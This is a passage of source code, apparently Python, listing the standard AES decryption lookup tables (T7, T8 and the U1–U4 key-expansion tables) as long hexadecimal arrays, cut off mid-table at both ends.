0x6dc729a1, 0x4b1d9e2f, 0xf3dcb230, 0xec0d8652, 0xd077c1e3, 0x6c2bb316, 0x99a970b9, 0xfa119448, 0x2247e964, 0xc4a8fc8c, 0x1aa0f03f, 0xd8567d2c, 0xef223390, 0xc787494e, 0xc1d938d1, 0xfe8ccaa2, 0x3698d40b, 0xcfa6f581, 0x28a57ade, 0x26dab78e, 0xa43fadbf, 0xe42c3a9d, 0x0d507892, 0x9b6a5fcc, 0x62547e46, 0xc2f68d13, 0xe890d8b8, 0x5e2e39f7, 0xf582c3af, 0xbe9f5d80, 0x7c69d093, 0xa96fd52d, 0xb3cf2512, 0x3bc8ac99, 0xa710187d, 0x6ee89c63, 0x7bdb3bbb, 0x09cd2678, 0xf46e5918, 0x01ec9ab7, 0xa8834f9a, 0x65e6956e, 0x7eaaffe6, 0x0821bccf, 0xe6ef15e8, 0xd9bae79b, 0xce4a6f36, 0xd4ea9f09, 0xd629b07c, 0xaf31a4b2, 0x312a3f23, 0x30c6a594, 0xc035a266, 0x37744ebc, 0xa6fc82ca, 0xb0e090d0, 0x1533a7d8, 0x4af10498, 0xf741ecda, 0x0e7fcd50, 0x2f1791f6, 0x8d764dd6, 0x4d43efb0, 0x54ccaa4d, 0xdfe49604, 0xe39ed1b5, 0x1b4c6a88, 0xb8c12c1f, 0x7f466551, 0x049d5eea, 0x5d018c35, 0x73fa8774, 0x2efb0b41, 0x5ab3671d, 0x5292dbd2, 0x33e91056, 0x136dd647, 0x8c9ad761, 0x7a37a10c, 0x8e59f814, 0x89eb133c, 0xeecea927, 0x35b761c9, 0xede11ce5, 0x3c7a47b1, 0x599cd2df, 0x3f55f273, 0x791814ce, 0xbf73c737, 0xea53f7cd, 0x5b5ffdaa, 0x14df3d6f, 0x867844db, 0x81caaff3, 0x3eb968c4, 0x2c382434, 0x5fc2a340, 0x72161dc3, 0x0cbce225, 0x8b283c49, 0x41ff0d95, 0x7139a801, 0xde080cb3, 0x9cd8b4e4, 0x906456c1, 0x617bcb84, 0x70d532b6, 0x74486c5c, 0x42d0b857]
T7 = [0xa75051f4, 0x65537e41, 0xa4c31a17, 0x5e963a27, 0x6bcb3bab, 0x45f11f9d, 0x58abacfa, 0x03934be3, 0xfa552030, 0x6df6ad76, 0x769188cc, 0x4c25f502, 0xd7fc4fe5, 0xcbd7c52a, 0x44802635, 0xa38fb562, 0x5a49deb1, 0x1b6725ba, 0x0e9845ea, 0xc0e15dfe, 0x7502c32f, 0xf012814c, 0x97a38d46, 0xf9c66bd3, 0x5fe7038f, 0x9c951592, 0x7aebbf6d, 0x59da9552, 0x832dd4be, 0x21d35874, 0x692949e0, 0xc8448ec9, 0x896a75c2, 0x7978f48e, 0x3e6b9958, 0x71dd27b9, 0x4fb6bee1, 0xad17f088, 0xac66c920, 0x3ab47dce, 0x4a1863df, 0x3182e51a, 0x33609751, 0x7f456253, 0x77e0b164, 0xae84bb6b, 0xa01cfe81, 0x2b94f908, 0x68587048, 0xfd198f45, 0x6c8794de, 0xf8b7527b, 0xd323ab73, 0x02e2724b, 0x8f57e31f, 0xab2a6655, 0x2807b2eb, 0xc2032fb5, 0x7b9a86c5, 0x08a5d337, 0x87f23028, 0xa5b223bf, 0x6aba0203, 0x825ced16, 0x1c2b8acf, 0xb492a779, 0xf2f0f307, 0xe2a14e69, 0xf4cd65da, 0xbed50605, 0x621fd134, 0xfe8ac4a6, 0x539d342e, 0x55a0a2f3, 0xe132058a, 0xeb75a4f6, 0xec390b83, 0xefaa4060, 0x9f065e71, 0x1051bd6e, 0x8af93e21, 0x063d96dd, 0x05aedd3e, 0xbd464de6, 0x8db59154, 0x5d0571c4, 0xd46f0406, 0x15ff6050, 0xfb241998, 0xe997d6bd, 0x43cc8940, 0x9e7767d9, 0x42bdb0e8, 0x8b880789, 0x5b38e719, 0xeedb79c8, 0x0a47a17c, 0x0fe97c42, 0x1ec9f884, 0x00000000, 0x86830980, 0xed48322b, 0x70ac1e11, 0x724e6c5a, 0xfffbfd0e, 0x38560f85, 0xd51e3dae, 0x3927362d, 0xd9640a0f, 0xa621685c, 0x54d19b5b, 0x2e3a2436, 0x67b10c0a, 0xe70f9357, 0x96d2b4ee, 0x919e1b9b, 0xc54f80c0, 0x20a261dc, 0x4b695a77, 0x1a161c12, 0xba0ae293, 0x2ae5c0a0, 0xe0433c22, 0x171d121b, 0x0d0b0e09, 0xc7adf28b, 0xa8b92db6, 0xa9c8141e, 0x198557f1, 0x074caf75, 0xddbbee99, 0x60fda37f, 0x269ff701, 0xf5bc5c72, 0x3bc54466, 0x7e345bfb, 0x29768b43, 0xc6dccb23, 0xfc68b6ed, 0xf163b8e4, 0xdccad731, 0x85104263, 0x22401397, 0x112084c6, 0x247d854a, 0x3df8d2bb, 0x3211aef9, 0xa16dc729, 0x2f4b1d9e, 0x30f3dcb2, 0x52ec0d86, 0xe3d077c1, 0x166c2bb3, 0xb999a970, 0x48fa1194, 0x642247e9, 0x8cc4a8fc, 0x3f1aa0f0, 0x2cd8567d, 0x90ef2233, 0x4ec78749, 0xd1c1d938, 0xa2fe8cca, 0x0b3698d4, 0x81cfa6f5, 0xde28a57a, 0x8e26dab7, 0xbfa43fad, 0x9de42c3a, 0x920d5078, 0xcc9b6a5f, 0x4662547e, 0x13c2f68d, 0xb8e890d8, 0xf75e2e39, 0xaff582c3, 0x80be9f5d, 0x937c69d0, 0x2da96fd5, 0x12b3cf25, 0x993bc8ac, 0x7da71018, 0x636ee89c, 0xbb7bdb3b, 0x7809cd26, 0x18f46e59, 0xb701ec9a, 0x9aa8834f, 0x6e65e695, 0xe67eaaff, 0xcf0821bc, 0xe8e6ef15, 0x9bd9bae7, 0x36ce4a6f, 0x09d4ea9f, 0x7cd629b0, 0xb2af31a4, 0x23312a3f, 0x9430c6a5, 0x66c035a2, 0xbc37744e, 0xcaa6fc82, 0xd0b0e090, 0xd81533a7, 0x984af104, 0xdaf741ec, 0x500e7fcd, 0xf62f1791, 0xd68d764d, 0xb04d43ef, 0x4d54ccaa, 0x04dfe496, 0xb5e39ed1, 0x881b4c6a, 0x1fb8c12c, 0x517f4665, 0xea049d5e, 0x355d018c, 0x7473fa87, 0x412efb0b, 0x1d5ab367, 0xd25292db, 0x5633e910, 0x47136dd6, 0x618c9ad7, 0x0c7a37a1, 0x148e59f8, 0x3c89eb13, 0x27eecea9, 0xc935b761, 0xe5ede11c, 0xb13c7a47, 0xdf599cd2, 0x733f55f2, 0xce791814, 0x37bf73c7, 0xcdea53f7, 0xaa5b5ffd, 0x6f14df3d, 0xdb867844, 0xf381caaf, 0xc43eb968, 0x342c3824, 0x405fc2a3, 0xc372161d, 0x250cbce2, 0x498b283c, 0x9541ff0d, 0x017139a8, 0xb3de080c, 0xe49cd8b4, 0xc1906456, 0x84617bcb, 0xb670d532, 0x5c74486c, 0x5742d0b8]
T8 = [0xf4a75051, 0x4165537e, 0x17a4c31a, 0x275e963a, 0xab6bcb3b, 0x9d45f11f, 0xfa58abac, 0xe303934b, 0x30fa5520, 0x766df6ad, 0xcc769188, 0x024c25f5, 0xe5d7fc4f, 0x2acbd7c5, 0x35448026, 0x62a38fb5, 0xb15a49de, 0xba1b6725, 0xea0e9845, 0xfec0e15d, 0x2f7502c3, 0x4cf01281, 0x4697a38d, 0xd3f9c66b, 0x8f5fe703, 0x929c9515, 0x6d7aebbf, 0x5259da95, 0xbe832dd4, 0x7421d358, 0xe0692949, 0xc9c8448e, 0xc2896a75, 0x8e7978f4, 0x583e6b99, 0xb971dd27, 0xe14fb6be, 0x88ad17f0, 0x20ac66c9, 0xce3ab47d, 0xdf4a1863, 0x1a3182e5, 0x51336097, 0x537f4562, 0x6477e0b1, 0x6bae84bb, 0x81a01cfe, 0x082b94f9, 0x48685870, 0x45fd198f, 0xde6c8794, 0x7bf8b752, 0x73d323ab, 0x4b02e272, 0x1f8f57e3, 0x55ab2a66, 0xeb2807b2, 0xb5c2032f, 0xc57b9a86, 0x3708a5d3, 0x2887f230, 0xbfa5b223, 0x036aba02, 0x16825ced, 0xcf1c2b8a, 0x79b492a7, 0x07f2f0f3, 0x69e2a14e, 0xdaf4cd65, 0x05bed506, 0x34621fd1, 0xa6fe8ac4, 0x2e539d34, 0xf355a0a2, 0x8ae13205, 0xf6eb75a4, 0x83ec390b, 0x60efaa40, 0x719f065e, 0x6e1051bd, 0x218af93e, 0xdd063d96, 0x3e05aedd, 0xe6bd464d, 0x548db591, 0xc45d0571, 0x06d46f04, 0x5015ff60, 0x98fb2419, 0xbde997d6, 0x4043cc89, 0xd99e7767, 0xe842bdb0, 0x898b8807, 0x195b38e7, 0xc8eedb79, 0x7c0a47a1, 0x420fe97c, 0x841ec9f8, 0x00000000, 0x80868309, 0x2bed4832, 0x1170ac1e, 0x5a724e6c, 0x0efffbfd, 0x8538560f, 0xaed51e3d, 0x2d392736, 0x0fd9640a, 0x5ca62168, 0x5b54d19b, 0x362e3a24, 0x0a67b10c, 0x57e70f93, 0xee96d2b4, 0x9b919e1b, 0xc0c54f80, 0xdc20a261, 0x774b695a, 0x121a161c, 0x93ba0ae2, 0xa02ae5c0, 0x22e0433c, 0x1b171d12, 0x090d0b0e, 0x8bc7adf2, 0xb6a8b92d, 0x1ea9c814, 0xf1198557, 0x75074caf, 0x99ddbbee, 0x7f60fda3, 0x01269ff7, 0x72f5bc5c, 0x663bc544, 0xfb7e345b, 0x4329768b, 0x23c6dccb, 0xedfc68b6, 0xe4f163b8, 0x31dccad7, 0x63851042, 0x97224013, 0xc6112084, 0x4a247d85, 0xbb3df8d2, 0xf93211ae, 0x29a16dc7, 0x9e2f4b1d, 0xb230f3dc, 0x8652ec0d, 0xc1e3d077, 0xb3166c2b, 0x70b999a9, 0x9448fa11, 0xe9642247, 0xfc8cc4a8, 0xf03f1aa0, 0x7d2cd856, 0x3390ef22, 0x494ec787, 0x38d1c1d9, 0xcaa2fe8c, 0xd40b3698, 0xf581cfa6, 0x7ade28a5, 0xb78e26da, 0xadbfa43f, 0x3a9de42c, 0x78920d50, 0x5fcc9b6a, 0x7e466254, 0x8d13c2f6, 0xd8b8e890, 0x39f75e2e, 0xc3aff582, 0x5d80be9f, 0xd0937c69, 0xd52da96f, 0x2512b3cf, 0xac993bc8, 0x187da710, 0x9c636ee8, 0x3bbb7bdb, 0x267809cd, 0x5918f46e, 0x9ab701ec, 0x4f9aa883, 0x956e65e6, 0xffe67eaa, 0xbccf0821, 0x15e8e6ef, 0xe79bd9ba, 0x6f36ce4a, 0x9f09d4ea, 0xb07cd629, 0xa4b2af31, 0x3f23312a, 0xa59430c6, 0xa266c035, 0x4ebc3774, 0x82caa6fc, 0x90d0b0e0, 0xa7d81533, 0x04984af1, 0xecdaf741, 0xcd500e7f, 0x91f62f17, 0x4dd68d76, 0xefb04d43, 0xaa4d54cc, 0x9604dfe4, 0xd1b5e39e, 0x6a881b4c, 0x2c1fb8c1, 0x65517f46, 0x5eea049d, 0x8c355d01, 0x877473fa, 0x0b412efb, 0x671d5ab3, 0xdbd25292, 0x105633e9, 0xd647136d, 0xd7618c9a, 0xa10c7a37, 0xf8148e59, 0x133c89eb, 0xa927eece, 0x61c935b7, 0x1ce5ede1, 0x47b13c7a, 0xd2df599c, 0xf2733f55, 0x14ce7918, 0xc737bf73, 0xf7cdea53, 0xfdaa5b5f, 0x3d6f14df, 0x44db8678, 0xaff381ca, 0x68c43eb9, 0x24342c38, 0xa3405fc2, 0x1dc37216, 0xe2250cbc, 0x3c498b28, 0x0d9541ff, 0xa8017139, 0x0cb3de08, 0xb4e49cd8, 0x56c19064, 0xcb84617b, 0x32b670d5, 0x6c5c7448, 0xb85742d0]
# Transformations for decryption key expansion
U1 = [0x00000000, 0x0e090d0b, 0x1c121a16, 0x121b171d, 0x3824342c, 0x362d3927, 0x24362e3a, 0x2a3f2331, 0x70486858, 0x7e416553, 0x6c5a724e, 0x62537f45, 0x486c5c74, 0x4665517f, 0x547e4662, 0x5a774b69, 0xe090d0b0, 0xee99ddbb, 0xfc82caa6, 0xf28bc7ad, 0xd8b4e49c, 0xd6bde997, 0xc4a6fe8a, 0xcaaff381, 0x90d8b8e8, 0x9ed1b5e3, 0x8ccaa2fe, 0x82c3aff5, 0xa8fc8cc4, 0xa6f581cf, 0xb4ee96d2, 0xbae79bd9, 0xdb3bbb7b, 0xd532b670, 0xc729a16d, 0xc920ac66, 0xe31f8f57, 0xed16825c, 0xff0d9541, 0xf104984a, 0xab73d323, 0xa57ade28, 0xb761c935, 0xb968c43e, 0x9357e70f, 0x9d5eea04, 0x8f45fd19, 0x814cf012, 0x3bab6bcb, 0x35a266c0, 0x27b971dd, 0x29b07cd6, 0x038f5fe7, 0x0d8652ec, 0x1f9d45f1, 0x119448fa, 0x4be30393, 0x45ea0e98, 0x57f11985, 0x59f8148e, 0x73c737bf, 0x7dce3ab4, 0x6fd52da9, 0x61dc20a2, 0xad766df6, 0xa37f60fd, 0xb16477e0, 0xbf6d7aeb, 0x955259da, 0x9b5b54d1, 0x894043cc, 0x87494ec7, 0xdd3e05ae, 0xd33708a5, 0xc12c1fb8, 0xcf2512b3, 0xe51a3182, 0xeb133c89, 0xf9082b94, 0xf701269f, 0x4de6bd46, 0x43efb04d, 0x51f4a750, 0x5ffdaa5b, 0x75c2896a, 0x7bcb8461, 0x69d0937c, 0x67d99e77, 0x3daed51e, 0x33a7d815, 0x21bccf08, 0x2fb5c203, 0x058ae132, 0x0b83ec39, 0x1998fb24, 0x1791f62f, 0x764dd68d, 0x7844db86, 0x6a5fcc9b, 0x6456c190, 0x4e69e2a1, 0x4060efaa, 0x527bf8b7, 0x5c72f5bc, 0x0605bed5, 0x080cb3de, 0x1a17a4c3, 0x141ea9c8, 0x3e218af9, 0x302887f2, 0x223390ef, 0x2c3a9de4, 0x96dd063d, 0x98d40b36, 0x8acf1c2b, 0x84c61120, 0xaef93211, 0xa0f03f1a, 0xb2eb2807, 0xbce2250c, 0xe6956e65, 0xe89c636e, 0xfa877473, 0xf48e7978, 0xdeb15a49, 0xd0b85742, 0xc2a3405f, 0xccaa4d54, 0x41ecdaf7, 0x4fe5d7fc, 0x5dfec0e1, 0x53f7cdea, 0x79c8eedb, 0x77c1e3d0, 0x65daf4cd, 0x6bd3f9c6, 0x31a4b2af, 0x3fadbfa4, 0x2db6a8b9, 0x23bfa5b2, 0x09808683, 0x07898b88, 0x15929c95, 0x1b9b919e, 0xa17c0a47, 0xaf75074c, 0xbd6e1051, 0xb3671d5a, 0x99583e6b, 0x97513360, 0x854a247d, 0x8b432976, 0xd134621f, 0xdf3d6f14, 0xcd267809, 0xc32f7502, 0xe9105633, 0xe7195b38, 0xf5024c25, 0xfb0b412e, 0x9ad7618c, 0x94de6c87, 0x86c57b9a, 0x88cc7691, 0xa2f355a0, 0xacfa58ab, 0xbee14fb6, 0xb0e842bd, 0xea9f09d4, 0xe49604df, 0xf68d13c2, 0xf8841ec9, 0xd2bb3df8, 0xdcb230f3, 0xcea927ee, 0xc0a02ae5, 0x7a47b13c, 0x744ebc37, 0x6655ab2a, 0x685ca621, 0x42638510, 0x4c6a881b, 0x5e719f06, 0x5078920d, 0x0a0fd964, 0x0406d46f, 0x161dc372, 0x1814ce79, 0x322bed48, 0x3c22e043, 0x2e39f75e, 0x2030fa55, 0xec9ab701, 0xe293ba0a, 0xf088ad17, 0xfe81a01c, 0xd4be832d, 0xdab78e26, 0xc8ac993b, 0xc6a59430, 0x9cd2df59, 0x92dbd252, 0x80c0c54f, 0x8ec9c844, 0xa4f6eb75, 0xaaffe67e, 0xb8e4f163, 0xb6edfc68, 0x0c0a67b1, 0x02036aba, 0x10187da7, 0x1e1170ac, 0x342e539d, 0x3a275e96, 0x283c498b, 0x26354480, 0x7c420fe9, 0x724b02e2, 0x605015ff, 0x6e5918f4, 0x44663bc5, 0x4a6f36ce, 0x587421d3, 0x567d2cd8, 0x37a10c7a, 0x39a80171, 0x2bb3166c, 0x25ba1b67, 0x0f853856, 0x018c355d, 0x13972240, 0x1d9e2f4b, 0x47e96422, 0x49e06929, 0x5bfb7e34, 0x55f2733f, 0x7fcd500e, 0x71c45d05, 0x63df4a18, 0x6dd64713, 0xd731dcca, 0xd938d1c1, 0xcb23c6dc, 0xc52acbd7, 0xef15e8e6, 0xe11ce5ed, 0xf307f2f0, 0xfd0efffb, 0xa779b492, 0xa970b999, 0xbb6bae84, 0xb562a38f, 0x9f5d80be, 0x91548db5, 0x834f9aa8, 0x8d4697a3]
U2 = [0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697]
U3 = [0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46]
U4 = [0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 